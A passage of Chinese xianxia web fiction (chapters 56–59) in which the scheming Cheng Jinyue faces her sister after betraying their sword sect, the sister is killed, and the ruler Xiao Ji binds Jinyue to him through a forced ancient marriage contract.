她抬头看着程蕴知,心中思绪有些复杂。她不是没有感情的神,她的心也会痛。 她明明,她明明,明明已经让程蕴知走了,可程蕴知为什么还要回来? 她不懂,她真的不懂。 按照时间,程蕴知应该是已经快到达目的地后才飞奔回来了的。 她到底想到了什么,听到了什么,才会让她做出这样的决定? 但是这一切,都已经不重要了。 因为程蕴知必须死。 程蕴知亲眼看到了程今越杀掉李从霜。 她们之间就一定会有不可磨灭的隔阂,而在程蕴知知道更多之后,她必定会杀掉程今越。 感情、承诺、回忆,都是虚无,程今越不相信。 只有死人能让她相信。 可萧极从来没有对她下达指令,“杀掉程蕴知、程望、李从霜”。 尽管萧极可能是考虑到了程今越修为过低,这样关键的操作必须他自己亲手来做。 但,没有就是没有,萧极不信任程今越,程今越也不会把希望寄托于萧极身上。 萧极或许有自己的考量,但程蕴知必须死。 她会亲手杀死程蕴知。 极短的时间内,程今越结束了思考,她抬起头,灵力如网一样扩散开来。 眼睛过来了。 程今越正要开口,可程蕴知却抢先一步。 “什么叫无话可说?”程蕴知终于颤颤巍巍地问,打破了这僵局。 程今越愣了一下,脸上的笑变成苦笑。 “无话可说的意思就是,我不狡辩。” 她别过头,不想直视程蕴知。 程蕴知握剑的手都开始颤抖,她觉得自己在做梦。 她的心仿佛被人剜去了一大块,她觉得自己疼得快要不能呼吸。 “你的意思是……娘亲,是你杀的?” “是。”她毫不犹豫。 “你是叛徒?” “是。” “你和萧极联手做的这些吗?” “是。” “你早就想杀了我们,对吗?” 从前的“我们”与现在的“我们”已经改变了,程今越被剔除在外了。 程今越犹豫了。 但程蕴知不想再听到回答了。 她害怕,她不能接受。 程今越说出的每个字都扎进她的心底,她快要碎掉了。 肯定不是这样的,她和小越朝夕相处,小越怎么可能会骗她呢? 而且,小越灵根微弱,又是怎么杀掉她的母亲的呢? 这其中肯定是有误会,一定是有误会。 程蕴知瞬间想起来。 “我知道了,小越,是不是,是不是萧极强迫你的,也是他强迫你这么说的,对不对?你是骗我的,对不对?” 她声音打着颤。 “我没有骗你,我是自愿和萧极合作,你不用再自欺欺人了。” 程今越直截了当地回答着程蕴知的话。 “我的确很早就想杀掉程望和李从霜了,这是事实。” “姐姐,我在大衍剑宗过的不是什么好日子。” 她垂眸笑着,泪水在眼眶里打转,她不敢直视程蕴知。 “我知道哥哥和娘对你不好,但是但是……我会保护你的,我可以保护你的!一切都可以变得更好的!我们为什么不可以……”程蕴知哭着说。 “姐姐。”程今越打断程蕴知的话。 “你太理想了,你太单纯了,你从小到大都是别人的掌上明珠,有所有人帮你撑腰,你什么都不用做就可以得到一切。” “我呢?我一无所有。” “痛不在你的身上,我遭遇过什么我自己心里清楚,我希望大家过得好,我也希望你过得好。” “可是……我也希望我自己能过好啊。” “但是!”程蕴知还想说什么。 “程望和李从霜他们真的能接纳我吗?” “姐姐,你扪心自问呢?” “你已经不是孩子了。” “我来告诉你真相。” “程望和李从霜时时刻刻都想杀了我,只要你不在,程旭也随时会抛弃我,把我一身炼化成药,这就是我的结局。” “你能保护我吗?就凭你吗?” “姐姐,在你眼里,我也是一个物品吗?” “在你眼里,我不可以复仇吗?我没有活下去的权利吗?” “不是这样的……不是这样的……” 程蕴知摇着头。 程今越感受着附近的眼睛,明明已经看到程蕴知了,这么久都还没有杀掉她,看来萧极还真不一定想杀程蕴知了。 “你走吧,我不想杀你,趁萧极没回来之前,快跑。” 程今越说完,转过身就要离去。 只要程蕴知一走,无定界的人必定会阻拦她,将程蕴知束缚住的那一刻,她便可以靠近程蕴知。 趁所有人不注意,一刀捅进她的心脏。 说完这句话,程蕴知却没有动作,她大口喘着气,胸口起伏着。 泪水疯狂地从她眼睛里涌出来,她哭得撕心裂肺。 过了好久,她像是下定了决心。 程今越心中笑着。 她如今虽然与萧极结盟,理论上不该说这样的话,但是按照“程今越”的立场,如此善良的她,必定不会抛下程蕴知不管。 一个完全没有感情的人是会让人忌惮害怕,会让首领不敢重用与信任。 袒露出忠诚,适当露出把柄,这才是为人之道。 可程蕴知却开口。 “我不走,我绝对不会走的!” 程蕴知大喊,她上去就要抓住程今越的手。 程今越不解地皱眉。 程蕴知本是按照程今越的要求去取她的东西,她见到了孟朝,没有想到他还活着,还活得很好。 她信任孟朝,没有其他原因,因为小越一直对孟朝多有照拂,多有信任。 他们一路向南走,路途上,却越走越诡异,他们碰到了魔族。 孟朝拔剑要保护她,可她却发现魔族并没有任何要伤害她的迹象。 从中走出了一个样貌不凡的男子,眼睛黝黑,透着血红,体格高大。 “程蕴知,你就没有想过,为什么在这个关键的时候,你的好妹妹要让你离开吗?” 对方笑着,格外诡谲。 没有等程蕴知问下一句话,对方却从眼前瞬间消失,仿佛从来没有出现过一般。 程蕴知心中的隐隐不安被这句话瞬间放大。 她心中只有一个念头,“有人会伤害小越!她必须要去保护小越!” 于是程蕴知回来了,兵分两路,孟朝在外看守着一条路,等着程蕴知带程今越走,随时在外面准备接应。 可程蕴知越往大衍剑宗走,她心中的不安越发真实,越发浓郁的血腥气,越来越多的尸首,她好害怕,好害怕下一秒就看到程今越的尸体。 程蕴知发了疯地在整个大衍剑宗寻找着程今越,直到她感受到了程今越的气息,是活着的! 太好了! 她飞快地奔去,飞快地奔去! 她顿时停下脚步。 她愣住了。 她看到了程今越杀掉了她的母亲。 “松开我程蕴知,你疯啦?再不走就来不及了!” “我要你跟我一起走!我绝对不会一个人抛下你走的!”她大喊。 程今越愣住了,“我看你真疯了,我杀了你的母亲,不只是母亲,我还杀了你的哥哥,我和萧极联手,毁了整个大衍剑宗!” “我是你的仇人,你带我走?” 程今越自诩掌握众人的感情,他人的情绪她可以轻易拿捏、把控、洞察。 可她现在觉得,她已经开始不懂人的情感了。 都是一群疯子。 “对,我就是疯了,我什么都没有了,小越,我什么都没有了!” “我只有你了,我只能依靠你了。” “什么事情我们之后再说好吗?我们快走,我不能没有你了,我不能再没有你了……” 她痛哭流涕,拉着程今越就往外走,程今越根本松不开手,她的修为实在是太弱了。 在众目睽睽下跟着程蕴知跑? 程蕴知疯了,她可没有疯。 谁想死自己赶紧去死,她是绝对不会去送死的。 无定界的人呢?都是死人吗?就这么眼睁睁看着她们跑了吗? 萧极到底想干什么! “放开我,放开我啊!你冷静一下可以吗?” 程蕴知拉着程今越一路杀出人海,无人可挡,一路杀到了大衍剑宗的南安门,孟朝就在此等候。 曾经的剑道天才名不虚传。 程今越懵了,难道说无定界的人还在跟剑宗的人厮打,没空管她们二人? 可就算是跑到了南安门又怎样,整个大衍剑宗都被萧极布下了结界,没有提前准备,怎么可能逃得了。 程今越迅速给魔族传去讯息,迅速改变计划,命他们速速来南安门将她劫走。 可程蕴知更是势如破竹,程今越已经看到了南安门的石碑。 山门处百丈高的玄铁剑碑早已倒塌,碑身上“万载长青*”四个古篆字寸寸崩解。 再远处,便是萧极布下的结界,只进不出,宛如一道天堑。 程蕴知停下了脚步。 程今越终于喘了一口气,盼着魔族中人速速到来。 可谁知程蕴知手上全是天下奇珍符咒,她从身上摸出好多张,朝结界扔去。 程今越心中完全不抱希望,可用钱砸出来的符咒果真不一般,几十张下来,真就把萧极的结界砸了个小门。 程今越瞠目结舌。 程蕴知擦了擦眼泪,“小越,我们快走!” 外面的世界近在咫尺,程今越好像快要触碰到外面的阳光,她的心跳得格外的快,她觉得这一切像在做梦一样。 风声呼啸而过,程今越的听得见自己的心跳。 程蕴知拉着她就往前冲,身后血海滔天,火光肆虐,耳畔杀伐不绝。 她们踩着断掉的枯枝与落叶,往前冲着。 程蕴知转过头在对她笑,眼泪还在不停流着。 过去所有的承诺与期盼,此刻都在程今越脑海里浮现。 所有可笑的回忆都莫名其妙地冲进她的脑海里。 “我每天都教你功法,我们天天都要出去玩,去听说书,去做手工,去逛很多灯会!” “我们要永远永远在一起!” 竟然真的要实现了? 就这样实现了? 越来越近,越来越近。 就差一步,她们就要冲出去。 呼吸间,一支箭如雷鸣而来,划破天际,带来一声嘶鸣,格外快,没有任何人能反应过来! 那一箭刺穿程蕴知的心脏。 时间仿佛在这一刻凝固。 鲜血在瞬间在程今越的眼中开出一朵凄切的花。 程蕴知的身体像一片落叶一样缓缓倒下。 第57章 代价。 程今越呼吸骤停。 程蕴知瞬间失重向后瘫倒,程今越下意识抱住她,她踉跄地跌落在地上,程蕴知倒在她的怀里,像是被剪断翅膀的蝴蝶。 程今越瞬间向后看,只见身后是火海滔天,有三千修士身着玄铁重甲,从身前到身后,密密麻麻地铺开遮天蔽日的黑潮。 强大的威压如潮水一般袭来,让程今越喘不过气。 强烈的不安从她的后脊传来,凉意从心头蔓延到全身。 风吹过她瘦弱的身躯,吹乱她的长发。 她大脑在理智地迅速思考着,好似不受任何情绪的影响。 但不知为何,她的泪水还是无声地从眼眸中大颗地滴落,她双眼通红,胸口的沉重感没有弄虚作假,她几乎无法呼吸。 泪水一滴一滴而下,滴在程蕴知的脸上,程今越感受到怀中的人在抓着她的手,她愣愣地低头。 “小越……别管我。” 她看见了程蕴知的眼睛。 “你快走……你快走。” “走!” 程蕴知突然暴起,用尽最后的力气将程今越推出那道结界之外。 程今越撞在已经破碎的石碑上,齿间的血腥气漫开。 三千修士同时踩踏着石阶的轰鸣声震耳欲聋,越来越近,快要震碎程今越的耳膜,像是一声一声敲响的丧钟。 走?怎么走? 凭她一人,在无定界的强悍修者下走? 程今越明明只是遭了一箭,怎么会虚弱到这样的地步,到底是谁出的手? 她看着倒在血泊中的程蕴知,但没等她思考下一步动作,远处的重重修士已经朝她拔剑。 程今越已经下意识地唤了一个最熟悉的名字。 突然,一道玄色劲装的身影如鬼魅般出现在她身旁,速度如箭,还没等她反应过来对方是谁,对方长臂一伸,猛地将程今越打横抱起。 沉沉的竹香扑进程今越的鼻腔,不是她熟悉的气息,她疑惑地抬眸定睛一看。 “孟朝?你来做什么?” 孟朝没有回答程今越,他神情严肃,薄唇紧抿,“三小姐,失礼了。” 呼吸间,孟朝双指并拢,灵力瞬间爆开,虚空中出现一道裂缝,二人迅速穿入其中,身边场景眨眼变化,一道又一道裂缝被划开,眨眼间,竟然已经一跃出百里。 孟朝玄色护腕擦过她颈侧,暴起的青筋下蜿蜒着新鲜剑伤,鲜血流淌在两人紧贴之处。 周身罡风从程今越的脸庞刮过,穿梭虚空的撕扯感让程今越眼前发黑,她死死抱住孟朝脖颈,三百里外大衍剑宗的业火仍在程今越的眼中灼烧。 孟朝宽广的身躯抵挡了所有穿梭中的灵力冲击,温热的体温传递到程今越的身上,但并不能让程今越有一丝安全感。 “你不该来救我的。” “萧极是不会放过你的。” 程今越的声音被风声扯得支离破碎。 程今越大脑有些混乱,所有的计划全部被打乱,她心中怦怦直跳。 “三小姐的命比我重要多了,孟朝的命就是三小姐的,这本就是我该做的。”他没有看程今越,只是往前冲着。 两人都没有说话,孟朝一路往前冲着,越远越好,离那个地方越远越好。 时间悄然逝去,风把程今越的脸都要刮痛了,两人已经不知道跑到了什么地方。 终于,孟朝将程今越放在了地上,小心翼翼地。 但程今越并没有松开孟朝。 孟朝浑身一愣。 两人都没有说话,四周一片寂静。 程今越抓着孟朝的手臂做着支持,她有点站不稳。 四周环境一片陌生,程今越从未来过,但是,可以肯定的是,这里离大衍剑宗极远。 一切快得来不及反应,方才的每一个画面都在程今越脑海里回忆,喧闹的大火好像还在程今越大脑里燃烧。 她耳边还有风的嗡鸣,刀剑交错声,程蕴知的哭声。 她站在地上,却感觉有些虚无,她觉得心里落空空的。 她颤抖着身子,泪水从她眼眶里决堤而出。 “三小姐……抱歉,我没能带蕴知小姐走。” 孟朝低着头。 但如果再来一次,他依旧会做相同的选择。 程今越的心有些痛,但她很快就缓过去了,她的眼泪像是表演,就像是习惯性地伪装,连她自己也分不清了。 “这不怪你,孟朝公子。” “都怪我连累了你……” 程今越摇摇头,迅速将程蕴知抛开脑后。 纪念死人已经没有意义了,她会带着所有人的那一份,好好活下去。 谁死都可以,她不可以。 程今越思考着下一步,可孟朝突然朝程今越跪下,他深吸了一口气,好像是犹豫了很久才做出的决定。 “三小姐,敢问您可有去处?”他恭敬地跪在程今越身前,低着头,耳根已经泛起红,浑身滚烫,心跳得甚至比从大衍剑宗内逃出来的时刻跳得还快。 去处? 这里太远了,她根本没有办法和魔族的人联系,对方也不一定能找到她。 “剑宗毁后,我便是孤身一人,又哪里有什么去处呢?”程今越看着远方,四周空荡荡,天高云淡。 她眺望着,心中的不安仍未散去。 自然不是因为没有去处,天地都是程今越的去处,程今越从不担忧这个。 如今最让她担忧的事情是,她与怀钰失联了。 那时,三千修士朝程今越拔剑的那一刻,程今越便在心中大喊怀钰之名,但,怀钰并没有回应她。 有人出现带她走的那一刻,她第一反应是怀钰来救她了。 但,并不是。 在路上,程今越唤了一遍又一遍,可是怀钰依旧没有回应她。 尽管离大衍剑宗越来越远,但程今越心中的不安却越发浓烈。 怀钰几乎没有不回应她的时候,除了偶尔怀钰耍脾气。 但现在明显不是这种打闹的时刻。 如今遇到任何危险,程今越几乎都不会恐慌,因为她知道她有底牌。 只要呼唤怀钰的名字,他便会以最快的速度挡在程今越的身前。 义无反顾,为程今越杀光所有敌人。 嗜血,疯狂,手染鲜血,恶贯满盈,但却永远忠心于她。 但此刻,他们失去了联系。 因为这意味着两种可能。 怀钰遇到了棘手的事情。 或者 联系被人为地切断了。 可此刻她已经远在千里之外,按理来说,她已经安全了,谁会切断联系呢? 极大的恐慌感在程今越心中蔓延。 无数个可能在她脑海里出现。 连程今越自己都没有意识到,怀钰的存在已经成了她安全感的极大来源。 她不住看向眼前的孟朝。 心跳得很快。 “不!三小姐有去处的!”孟朝突然开口。 程今越看着他,这才好好地看了看孟朝。 许久不见,他的气质更为沉稳,不如南方的儒雅,孟朝的外貌更有北境的狼骨之像,他身材高猛,和当年躲在剑宗角落那个沉默的少年已是两样。 “三小姐……不如……和我走吧。” 孟朝突然向前,将程今越抱在怀里。 他的胸膛很宽阔,但也很陌生。 程今越没有开口。 直觉在疯狂地警告着程今越。 很多时候,恐惧来源于未知。 但恐惧并不是一件坏事,这是本能在保护自己。 四周寂静无声。 她做好了决定。 她推开了孟朝。 可就在推开的瞬间,眼前的孟朝却突然诡异一笑,随后,四周突然如镜像般破碎,程今越耳边一片嗡鸣,巨大的光亮刺进她的眼睛。 她下意识用手捂住眼睛,而后真实的感觉逐渐恢复。 “三小姐!醒醒!” “三小姐——” 她听见孟朝的声音。 转头看去,孟朝正浑身是伤在她身后。 耳畔一切变得清明。 她的身边依旧是程蕴知,不过她已经浑身冰冷,失去了气息。 她抬头,三千修士突然齐齐屈膝跪地,青铜兽面甲撞出沉闷声响,修士们的头颅垂得比枪尖还低,他们让开一条路。 四周一片寂静,没有人敢呼吸,那人从无定界的重兵中,缓缓迈着步朝她走来,对方笑着,程今越已经能闻到对方身上的雪松香。 萧、极! “这个游戏怎么样?三小姐。” 萧极站在程今越身前,遮住了光,在程今越身前投下阴影。 萧极为什么会在这里? 这才过了多久? 程旭与三十六峰的长老竟然拦不住萧极一个时辰吗? 萧极竟然强到如此的地步吗? 如果是,那程今越输得心服口服。 可并非如此,她早就在祭坛放了她的一滴血,那滴血不断地朝她传来感知。 程旭没有死,他还在祭坛中与人厮杀。 那祭坛中又是谁在与程旭打斗? 程今越哭泣着,只是摇着头。 “程今越,我喜欢你在杀戮面前玩弄人心的样子。” “我成了三小姐游戏中的一颗棋子,三小姐也陪我玩这个游戏,很公平,不是吗?” 萧极都知道些什么? “三小姐的游戏可比我有意思多了。” “你的狗真多啊,他们比我想象得还要忠诚,无比遵循游戏规则。” “可惜,他们都太蠢了。” “尤其是那一只。” 萧极指向祭坛方向。 程今越心中一颤。 萧极笑着,他弯下腰,用冰绸的帕子擦拭着程今越脸上的泪。 萧极总是会忍不住想起程望的话,“程今越的狗”,这是个很有意思的词语。 一个弱得连灵力都几乎没有的人,究竟有什么魅力让那么多条狗都心甘情愿为她去死? 他的手指摩挲着程今越的脸,他从上到下打量着程今越,像是要透过皮看到血肉。 他太好奇了。 平淡的生活里因为程今越荡起了这一丝涟漪。 他的声音冷冷,一双黝黑的眸子却没有笑,他的手好整以暇地擦着程今越脸上的血,看起来懒散,在场的人却没有一人敢呼吸。 “那你呢,三小姐?” “你明白违背游戏规则的下场吗?” 游戏有输有赢,这很正常。 输了,就要付出代价。 更何况,这是萧极。 容不得背叛与忤逆。 第58章 程今越,是我的未婚妻。 程今越长发染血,她单薄的身子跪在偌大的南风门前,四周空旷,只有风声呼啸,三千修士挤满在空中,所有人都看着她。 或许是早有内应,又或许是归降,站在远处隔岸观火的人不乏她认识的人,所有人都等着程今越开口。 程今越与萧极合作,却偷偷放走程蕴知,甚至还妄图逃离大衍剑宗,此等背叛之罪,界主定然不会饶过她,程今越必死无疑。 萧极光是站在那里,就有足够的威压,他只需要轻轻抬手,便能掐死程今越。 程今越却停止了哭泣,不卑不亢地侧着抬起脸,一双澄澈的眼睛看着萧极。 “萧界主教给我的第一件事,便是违背规则的人都该去死。” “所以今越照做了。” “程望冒犯界主,今越已杀之,李从霜妄图挣扎,今越亦斩之,天极宫内不服者,皆已被今越除之!” 程今越话一落,尚存的大衍剑宗的弟子都随之唏嘘。 “三小姐?” “三小姐怎么会背叛剑宗!” 没有任何人想到,给萧极做内应的竟然是三小姐! 三小姐从来温柔善良,只是见了一只小猫受伤都会泪流满面,总是以德报怨,几乎没有任何脾气。 人们记忆中光风霁月的三小姐与如今的程今越形成极大的反差。 “不可能!三小姐怎么会做这样的事!”一位长老须发皆张,怒目圆睁,他手脚上都戴着镣铐,却依旧不挡他的仙风道骨。 程今越认得他,这是孟朝的师父,剑宗赫赫有名的大长老。 “萧极!你到底是如何威胁三小姐!” 他已身受重伤,口中吐出一口鲜血。 萧极突然一笑,双眉轻挑,温柔,有礼,像极了儒雅的公子,但只是浅显地浮在表层,只要多看一眼,便能看到那作壁上观的恶意。 “三小姐,我可好生冤枉,还望您给我一个清白啊。”他笑着。 程今越看向大长老,她神色凛然,眼中泪意未干,“今越对不起诸位……” 一行清泪落下,她声音哽咽。 “今越自入剑宗以来,多受诸位庇佑,诸位待我如亲人,我有血有肉,怎能不知?” 她眼尾泛红,声音打着颤,“今越是什么性情的人,想必诸位也清楚,若不是到了极点,我又如何会行此下策。” “程望,程蕴知,性格恶劣,残害我宗门众人无数!” “试问诸位,又有谁是没有遭受过他们迫害的呢?” 一时间众人哑口无言。 大衍剑宗虽是剑宗,可规章制度森严,入宗的弟子哪里是弟子,更像是程氏的仆从,而这二人更是恶贯满盈,日日杀人无数,后山无名尸体皆堆积如山。 剑宗弟子虽不是亲人,但亦情深义重,又有多少亲朋挚友死于他们之手,不过全都因为权势与修为不敌,全都按捺着。 这也是降者众多的原因。 程今越颤颤地站起身来,她浑身疼痛,却依旧强忍着。 “哥哥与母亲当众羞辱我也不是一次两次,我自知是父亲私生的孩子,从来不敢有一句怨言,这些今越都受得,也从来不会多说一句。” “可是……我已经不想见到我周围人再一个一个死去了……” “我不想再体会离别了……” 她哭着,看着众人。 众人却也潸然泪下,不敢看着她。 “所以我与萧界主联手了。” “我与界主交谈甚久,也多次听闻界主的传闻,界主心系苍生,宅心仁厚,克己奉公,我更愿意将剑宗交给更好的人!” “今越从未与诸位商议,这也是无奈之举,是今越一人独断专行,恣意为之,都是今越一人之过错!” 程今越朝众人鞠躬,瘦削的身子随之哭泣颤抖着,所有人的心中都不禁一软。 萧极站在原地,眼眸毫无波澜,嘴角却笑吟吟的。 萧极突然明白程今越蚍蜉撼大树的勇气从哪儿而来了。 程今越聪明,伶俐,胆子极大,见人说人话,见鬼说鬼话。 她在别人面前是软弱无能又善良的三小姐,在他面前就俨然一副被迫从恶,心向光明的坚韧善良小白花。 他轻轻抬手,为程今越鼓掌,这一举动格外怪异,所有人噤声。 好一出精彩的戏啊! 萧极心中微微恼怒,嘴角的笑意却越发浓郁。 “是吗?” 萧极侧过身,轻轻抬手,他瞬间合拢手掌,一瞬间,一道血光炸开,距离程今越最近的大衍剑宗的弟子在此刻瞬间被碾碎,血肉在南风门炸开,惊叫声与哭泣声顿时传遍在空中,带来无尽的恐慌。 萧极手又一收,强烈的威压袭来,禁锢住了所有人的喉咙,声音在这一刻被遏止。 绝对的实力碾压! 所有人在他面前就像只蝼蚁。 “可惜啊,三小姐猜错了,我不是什么好人呢。” 萧极慢悠悠地说着。 想给他戴高帽?想给他束缚? 这是个很好的方法,程今越的确很聪明。 但可惜,这只能针对普通人。 而萧极是个疯子。 掌控权只能在他这里,绝不允许任何人挪动。 没有人可以让他难堪。 名声他要,这些人的命,他也要。 只要大衍剑宗的人全死了,不就没有人能够走漏风声了吗? 程今越心跳得极快,血在她的眼中绽开,泪水应激地从她眼中涌出,她瞬间跌倒在地上。 这个疯子…… 她程今越是造了什么孽吗,为什么她的身边不是蠢货就是疯子! 程今越低声哭泣着,她害怕地颤抖着。 但绝对不能求饶,在萧极这种面前,求饶没用。 程今越摇摇头,“不,界主是世间第一好人,这些人企图谋反,罪该万死,这是他们应得的惩罚!” 她朝萧极跪着。 萧极笑起来,声音低沉好听,却让人浑身打颤,冷汗直出。 “程今越,你说,你怎么就这么聪明呢?” 程今越低头,“今越愚钝,还请界主责罚。” 她的声音带着微微颤抖,乌发凌乱地散落在肩头,泪盈于睫。 “愚钝吗?”他笑,却像是在打量。 程今越开始细数自己的罪过。 “今越没能看住程蕴知,让她逃走,还差点被她带走当作人质,是今越无能,险些坏了界主大计。” “幸有界主未雨绸缪,深谋远虑,才射杀了程蕴知,才将今越从反贼中救回。” “如今剑宗众人造反,又幸得界主出手,才得以镇压!” 萧极被她逗得失笑。 程今越乖巧、柔顺、聪明得过头。 她清楚地明白。 萧极自生下来的那一刻起,便站在了天阶的顶端,他天赋异禀,只需稍稍用力就能得到世人无法到达的高度,极高的修为几乎让他失去了烦恼。 所有的人都只能对萧极俯首称臣,而他甚至都懒得低眸去看。 这世间的一切都是他的玩物。 他靠玩弄众生的感情获得快乐,获得高高在上的快感。 他已经对世间所有的东西都快失去兴趣,无论是血与性。 普通的玩物太弱小,太愚蠢,太容易弄死。 他喜欢程今越。 顽强的生命力,充满矛盾的性格。 “那这么说,不是你放走的程蕴知,不是你想破开结界逃离剑宗。” 他像是念诗一样慢悠悠地笑着说。 他拔出剑,锋芒毕露。 “更不是……你两边摇摆,勾结魔族?” 萧极一字一顿,黑眸笑眯着,将剑放在程今越的脖子上。 程今越心中一颤。 心跳得极快。 萧极都知道什么? 她到底走漏了什么风声? 她迅速冷静下来。 她不信,萧极在诈她。 她皱眉,神情不解。 “我不知道界主在说什么……” 四周气氛凝固,快要降至冰点。 萧极那把剑就架在程今越脖子上。 “萧界主!” 所有人朝身后望去,只见破碎的结界外,孟朝走了进来。 他浑身是血,却不是一个人,身后还跟着一众人,皆修为高深。 孟朝毫不露怯,他向前走着,挡在程今越的身前。 “孟朝见过萧界主。” 萧极一笑,程今越的狗这不就来了。 他轻轻挑眉,甚至连话都懒得说。 “还请萧界主放过三小姐。” 孟朝伸出手护住程今越的脖子。 “孟朝,人贵在自知之明。” 萧极随意道。 “萧界主,人的确贵在自知之明,我自知,若是连心爱之人都无法保护,那还不如去死算了。” 孟朝抬头挺胸,毫不回避,目光炯炯。 程今越一愣,抬头看着孟朝。 她不懂这件事孟朝来掺和什么,孟朝从来都是一腔热血,性情用事。 但他有什么资格在萧极面前说这种话? 他把程望打了个半死,跑了,但可不是次次都有这样的好运气。 她深觉奇怪,回头一看,只见萧极的结界竟然被破了,一众人恭敬地跟在孟朝身后。 “在下并不知道三小姐与萧界主之间有何约定,剑宗人人皆知,孟朝倾心三小姐许久。” “孟朝自归家后,便日日思考迎娶三小姐之事,谁知如今剑宗出事,我便只好唐突地带三小姐离开剑宗,谁知却与萧界主有所冲突。” “我族中长老亦在此,聘书在此,还请萧界主通融,让有情人终成眷属。” 只见身后长老递出一道精致的红色聘书,一路落到萧极手中。 “萧界主,我少主早已倾心三小姐良久,聘礼更是早早准备中,老夫的话,倒是可信吧。” 族中? 程今越定睛一看,她认得这人,青岩山的三长老。 她曾在宴席中见过此人,在青岩山中颇有权势。 孟朝何时成了三大仙门之一的青岩山的少主? 程今越感觉头脑中传来一阵霹雳。 怪不得孟朝天赋如此超群,怪不得孟朝样貌不似此地人,怪不得孟朝都快杀了程望都还能全身而退! 过去的一切疑问都在程今越脑海里解开。 萧极接过聘书,却看都没看一眼。 他瞥了一眼孟朝,又瞥了一眼程今越。 在众目睽睽下,将这道聘书燃烧成灰烬。 “有情人终成眷属?” “真不好意思,这道聘书,貌似是我先下的。” “天下谁人不知我萧极要与大衍剑宗联姻?” 萧极手指轻点,一道光柱从远处的祭坛升起。 灵力顿时聚集在南风门上,空中骤然显现长卷,铺成一道金色的流光,其上有文字闪烁。 这是上古的婚契! 以三十六把神器为媒介,订立牢固的上古婚约。 几乎已经没有改变的可能,除非三十六把神器俱毁,婚契中有任意一人死亡,否则无法解开这道上古婚契! 只见卷尾写道: “谨以白头之约,书向鸿笺;好将红叶之盟,载明鸳谱;今生今世,不离不弃;永生永世,相许相从。” “此证:萧极……” “程今越……” 孟朝缓缓念出那个名字。 “看清楚了吗?” 萧极将剑指着孟朝护着程今越脖子的手。 “松开。” “程今越,早已与我订立婚契。” “程今越,是我萧极的未婚妻。” 第59章 “我会保护你的,小越。” 程今越抬起头看着空中巨卷,看着自己的名字在空中熠熠生辉,她双眼瞪大,她转头看向萧极,眼中是不可置信。 像是一场荒诞至极的噩梦。 疯子!疯子! 在此之前,一切都有斡旋的余地,她可以在萧极面前装作柔顺的白兔,请求他高抬贵手放过她,可一旦婚契签订,便再也无法更改,她这辈子都要和萧极绑在一起! 凭什么!凭什么她好不容易逃出来,却又成了别人的附庸! “萧极,你要和我结婚契,你疯了?” “你知不知道这意味着什么?” 人与人之间都有因果,有些人生下来或许就是普通的过路人,甚至连面都不会见,这是因为他们的命线没有缠在一起。 命线与因果这种东西,本来是天命,但偏偏就有人强行使用人术,将人与人之间的命线与因果加深。 婚契便是其中最深的一种,而偏偏这道婚契,是由三十六道上古法器的灵力汇聚起来的。 程今越与萧极的命线由这婚契绑在一起,死死纠缠在一起。 何止是这辈子,只要婚契存在,下辈子,下下辈子,永生永世,他们都会纠缠在一起。 “今生今世,不离不弃;永生永世,相许相从。” 这哪里是婚契,这纯粹就是诅咒! 结了婚契之后也只能与对方发生关系,一旦违背,便会遭受噬心的疼痛。 会使人情不自禁对对方产生关心,产生好感。 萧极也能凭借婚契随时定位到她。 她和萧极才认识多久,萧极怎么就会跟她签订婚契? 这简直就是一出狗血、低俗、又恶劣的令人作呕的桥段。 程今越的一生就好像被命运编排出的恨海情天的剧本。 看到程今越小白花的模样终于裂了缝,萧极笑得恶劣,他黑眸一转,“是啊,程今越,我当然知道这意味着什么。” “这难道不有意思吗?” 程今越突然被气笑了。 像萧极这样高高在上之人,什么珍贵的东西都触手可及,人生已经近乎无聊。 他想要找乐子,说白一点,他想要看到人的崩溃、痛苦、挣扎。 可是寻常人的血与崩溃,他已经看腻了。 他想看到人人憧憬的大衍神女的另一面,想看到温柔、善良、弱小的神女的破防、痛哭、失控。 这样兴许还能让他感受到一些乐趣。 但这样甚至还不够,萧极将自己也参与了进来,将自己置身于戏剧之中,他要冒险,他要踩着边缘,他要在禁忌地带体验快感。 但,这并不算什么冒险,极高的修为给了他底牌。 一旦萧极累了,厌倦了,他随时可以毁掉婚契,随时可以杀掉程今越。 这只是一场单纯的猫捉老鼠的游戏。 而弱小的程今越再一次成为游戏之中,被人观赏的玩物。 萧极显然不想耗下去了,他轻念咒语,孟朝众人被一道强烈的白光击退至结界外。 有些可惜,如果可以,他想直接杀了这个孟朝,只是孟朝竟然还算有些聪明,通风报了信。 要是现在杀掉的话,事情就会变得有些麻烦了。 青岩山的三长老很有眼力见,他立刻拱手笑道,“竟是如此,那看来是我少主晚来了一步。” “既然三小姐已经选择了界主,那我便代替青岩山恭祝界主与夫人琴瑟和鸣,永结同心!” 一声出,万声应,“恭祝界主与夫人琴瑟和鸣,永结同心!” 所有人都朝萧极跪下,只有孟朝还愣在原地,一双眼睛泛红,死死地盯着程今越与萧极。 程今越轻轻摇头,让他不要轻举妄动。 众人都看着孟朝,每一道视线都像是一道威压。 孟朝咽了咽喉咙,觉得喉中苦涩。 最后他学着旁人跪了下去。 程今越觉得自己浑身都在颤抖,指甲狠狠陷进了肉里,可是她面上还是笑着。 她不甘心,她凭什么会输。 因为她太弱了,她太弱了! 周围的声音渐渐全部变成了恭贺声,程今越的心中逐渐冰冷。 九头青鸾抬的琉璃轿落在她的身旁,所有人朝她跪下。 “夫人,请乘轿。” 她只是笑着,浅愣了片刻。 程今越泪水盈在眼眶,却又被她收回。 她好不容易,她明明好不容易在大衍剑宗憋屈了这么多年。 她明明已经俯首了这么多年,她已经流了好久的血,她已经挨了好久的痛。 她明明已经很努力很努力去做了。 可是为什么? 为什么命运总是不放过她? 为何要将她从一个枷锁送到另一个枷锁? 可惜弱小的人是没有哭诉的权利的。 就像是程蕴知,太弱小,所以死了,程望李从霜,都太弱小了,所以他们都死了。 她的母亲也死了,弱小的人是不配活在这个世上的。 程今越快要疯掉,她的心好痛,她快要碎掉。 她咽下去的痛苦比哭出的眼泪多得多。 所有人朝她叩拜着,祝福着,但不是对她,而是对另一个男人。 她无能为力。 她脑海里一次又一次地浮现一个名字,“怀钰”。 谁能来救救她呢? 有人可以救她吗? 神明什么时候可以对她多一些爱呢? “我的夫人,走吧。” 萧极牵起她的手,朝她抬眸一笑。 青鸾起轿,将程今越往天上推,大衍剑宗的人朝她叩首,青岩山的人朝她叩首,无定界的人朝她叩首,世间万万人朝她叩首。 她的轿子快比太阳还要高,但程今越的心冷冷的。 恭送声中,一道震耳欲聋的轰鸣从北天传来。 众人哗然,抬眸望去,祭坛的方向散开一道猛烈的魔力。 